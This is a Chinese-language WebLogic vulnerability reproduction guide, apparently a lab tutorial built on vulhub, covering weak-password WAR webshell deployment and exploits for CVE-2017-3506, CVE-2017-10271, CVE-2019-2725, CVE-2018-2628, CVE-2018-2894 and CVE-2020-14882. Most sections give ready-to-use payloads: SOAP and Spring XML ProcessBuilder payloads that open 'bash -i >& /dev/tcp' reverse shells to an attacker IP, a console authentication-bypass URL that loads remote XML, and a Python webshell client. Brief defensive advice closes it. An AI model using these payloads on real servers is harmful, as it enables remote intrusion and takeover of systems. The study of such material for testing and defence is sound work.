weblogic漏洞大杂烩
字数 1685 2025-08-05 00:16:03

WebLogic漏洞分析与复现指南

1. WebLogic简介

WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。它是世界上第一个成功商业化的J2EE应用服务器,已推出到12c(12.2.1.4)版。

2. 环境搭建

2.1 基础环境准备

# 安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v  # 查看是否安装成功

# 安装python和pip环境
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V  # 查看是否安装成功

# 安装docker-compose
pip install docker-compose
sudo apt install docker-compose
docker-compose -v

2.2 获取漏洞环境

git clone https://github.com/vulhub/vulhub.git

3. WebLogic漏洞分析与复现

3.1 弱口令漏洞

漏洞原理:在WebLogic搭建好后没有修改进入后台的密码导致弱口令登录获得webshell。

复现步骤

  1. 访问http://[目标IP]:7001/console
  2. 使用默认凭证weblogic/Oracle@123登录后台
  3. 点击"部署" → "安装" → "上传文件"
  4. 准备一个包含JSP木马的war包:
    jar -cvf aaa.war .
    
  5. 上传war包并完成部署
  6. 使用冰蝎连接:http://[目标IP]:7001/aaa/shell.jsp

3.2 CVE-2017-3506 (XMLDecoder反序列化漏洞)

漏洞原理:在/wls-wsat/CoordinatorPortType处构造SOAP(XML)格式的请求,在解析过程中导致XMLDecoder反序列化漏洞。

复现步骤

  1. 访问以下任意一个路径确认漏洞存在:
    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    
  2. 构造恶意XML请求,在<string></string>标签之间写入JSP木马路径和内容
  3. 使用冰蝎连接上传的shell

3.3 CVE-2017-10271 (XMLDecoder反序列化漏洞)

漏洞原理:CVE-2017-3506的补丁防护不足,导致可以使用void标签进行RCE。

复现步骤

  1. 访问http://[目标IP]:7001/wls-wsat/CoordinatorPortType
  2. 构造恶意请求,使用bash命令反弹shell:
    <binbash>-c</binbash>
    <string>bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1</string>
    
  3. 在攻击机上使用nc监听相应端口

3.4 CVE-2019-2725 (wls-wsat反序列化漏洞)

漏洞原理:通过特定元素替换补丁限制的元素,绕过黑名单策略,造成远程命令执行。

复现步骤

  1. 访问以下任意一个路径:
    /_async/AsyncResponseService
    /_async/AsyncResponseServiceJms
    /_async/AsyncResponseServiceHttps
    
  2. 构造SOAP请求,使用ProcessBuilder执行命令:
    <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="3">
        <void index="0"><string>/bin/bash</string></void>
        <void index="1"><string>-c</string></void>
        <void index="2"><string>bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1</string></void>
      </array>
      <void method="start"/>
    </void>
    
  3. 在攻击机上使用nc监听相应端口

3.5 CVE-2018-2628 (T3协议反序列化漏洞)

漏洞原理:WebLogic Server的T3通讯协议的实现中存在反序列化漏洞,利用RMI机制的缺陷通过JRMP协议执行任意反序列化代码。

复现步骤

  1. 使用nmap扫描T3服务:
    nmap -n -v -p 7001,7002 [目标IP] --script=weblogic-t3-info
    
  2. 使用工具(如K8Weblogic.exe)上传shell
  3. 使用Python脚本获取交互式shell:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import base64
    import requests
    
    def shell(url, cmd):
        all_url = url + "?tom=" + base64.b64encode(cmd)
        try:
            result = requests.get(all_url)
            if result.status_code == 200:
                print result.content
        except requests.ConnectionError, e:
            print e
    

3.6 CVE-2018-2894 (未授权访问漏洞)

漏洞原理:开发环境下存在两个未授权的页面(config.do和begin.do),可以上传任意文件。

复现步骤

  1. 进入后台启用Web服务测试页
  2. 访问config.do设置上传目录为ws_utc应用的静态文件css目录
  3. 上传JSP木马,通过时间戳构造访问URL
  4. 或者访问begin.do上传JSP木马,通过F12获取上传路径

3.7 CVE-2020-14882 (控制台权限绕过漏洞)

漏洞原理:通过精心构造的URL绕过控制台认证。

复现步骤

  1. 构造URL直接访问控制台:
    http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    
  2. 远程加载XML文件执行命令:
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/[攻击者IP]/5555 0>&1]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    
  3. 通过漏洞触发XML加载:
    http://[目标IP]:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://[攻击者IP]:8000/test.xml")
    

4. 总结

WebLogic存在多种类型的漏洞,包括:

  • 弱口令漏洞
  • XMLDecoder反序列化漏洞(CVE-2017-3506、CVE-2017-10271、CVE-2019-2725)
  • T3协议反序列化漏洞(CVE-2018-2628)
  • 未授权访问漏洞(CVE-2018-2894)
  • 控制台权限绕过漏洞(CVE-2020-14882)

防护建议:

  1. 及时更新WebLogic到最新版本
  2. 修改默认密码为复杂密码
  3. 限制不必要的端口和协议访问
  4. 关闭不需要的服务和功能
  5. 部署Web应用防火墙(WAF)
WebLogic漏洞分析与复现指南 1. WebLogic简介 WebLogic是美国Oracle公司出品的一个基于JAVAEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。它是世界上第一个成功商业化的J2EE应用服务器,已推出到12c(12.2.1.4)版。 2. 环境搭建 2.1 基础环境准备 2.2 获取漏洞环境 3. WebLogic漏洞分析与复现 3.1 弱口令漏洞 漏洞原理 :在WebLogic搭建好后没有修改进入后台的密码导致弱口令登录获得webshell。 复现步骤 : 访问 http://[目标IP]:7001/console 使用默认凭证 weblogic/Oracle@123 登录后台 点击"部署" → "安装" → "上传文件" 准备一个包含JSP木马的war包: 上传war包并完成部署 使用冰蝎连接: http://[目标IP]:7001/aaa/shell.jsp 3.2 CVE-2017-3506 (XMLDecoder反序列化漏洞) 漏洞原理 :在 /wls-wsat/CoordinatorPortType 处构造SOAP(XML)格式的请求,在解析过程中导致XMLDecoder反序列化漏洞。 复现步骤 : 访问以下任意一个路径确认漏洞存在: 构造恶意XML请求,在 <string></string> 标签之间写入JSP木马路径和内容 使用冰蝎连接上传的shell 3.3 CVE-2017-10271 (XMLDecoder反序列化漏洞) 漏洞原理 :CVE-2017-3506的补丁防护不足,导致可以使用void标签进行RCE。 复现步骤 : 访问 http://[目标IP]:7001/wls-wsat/CoordinatorPortType 构造恶意请求,使用bash命令反弹shell: 在攻击机上使用nc监听相应端口 3.4 CVE-2019-2725 (wls-wsat反序列化漏洞) 漏洞原理 :通过特定元素替换补丁限制的元素,绕过黑名单策略,造成远程命令执行。 复现步骤 : 访问以下任意一个路径: 构造SOAP请求,使用ProcessBuilder执行命令: 在攻击机上使用nc监听相应端口 3.5 CVE-2018-2628 (T3协议反序列化漏洞) 漏洞原理 :WebLogic Server的T3通讯协议的实现中存在反序列化漏洞,利用RMI机制的缺陷通过JRMP协议执行任意反序列化代码。 复现步骤 : 使用nmap扫描T3服务: 使用工具(如K8Weblogic.exe)上传shell 使用Python脚本获取交互式shell: 3.6 CVE-2018-2894 (未授权访问漏洞) 漏洞原理 :开发环境下存在两个未授权的页面(config.do和begin.do),可以上传任意文件。 复现步骤 : 进入后台启用Web服务测试页 访问 config.do 设置上传目录为 ws_utc 应用的静态文件css目录 上传JSP木马,通过时间戳构造访问URL 或者访问 begin.do 上传JSP木马,通过F12获取上传路径 3.7 CVE-2020-14882 (控制台权限绕过漏洞) 漏洞原理 :通过精心构造的URL绕过控制台认证。 复现步骤 : 构造URL直接访问控制台: 远程加载XML文件执行命令: 通过漏洞触发XML加载: 4. 总结 WebLogic存在多种类型的漏洞,包括: 弱口令漏洞 XMLDecoder反序列化漏洞(CVE-2017-3506、CVE-2017-10271、CVE-2019-2725) T3协议反序列化漏洞(CVE-2018-2628) 未授权访问漏洞(CVE-2018-2894) 控制台权限绕过漏洞(CVE-2020-14882) 防护建议: 及时更新WebLogic到最新版本 修改默认密码为复杂密码 限制不必要的端口和协议访问 关闭不需要的服务和功能 部署Web应用防火墙(WAF)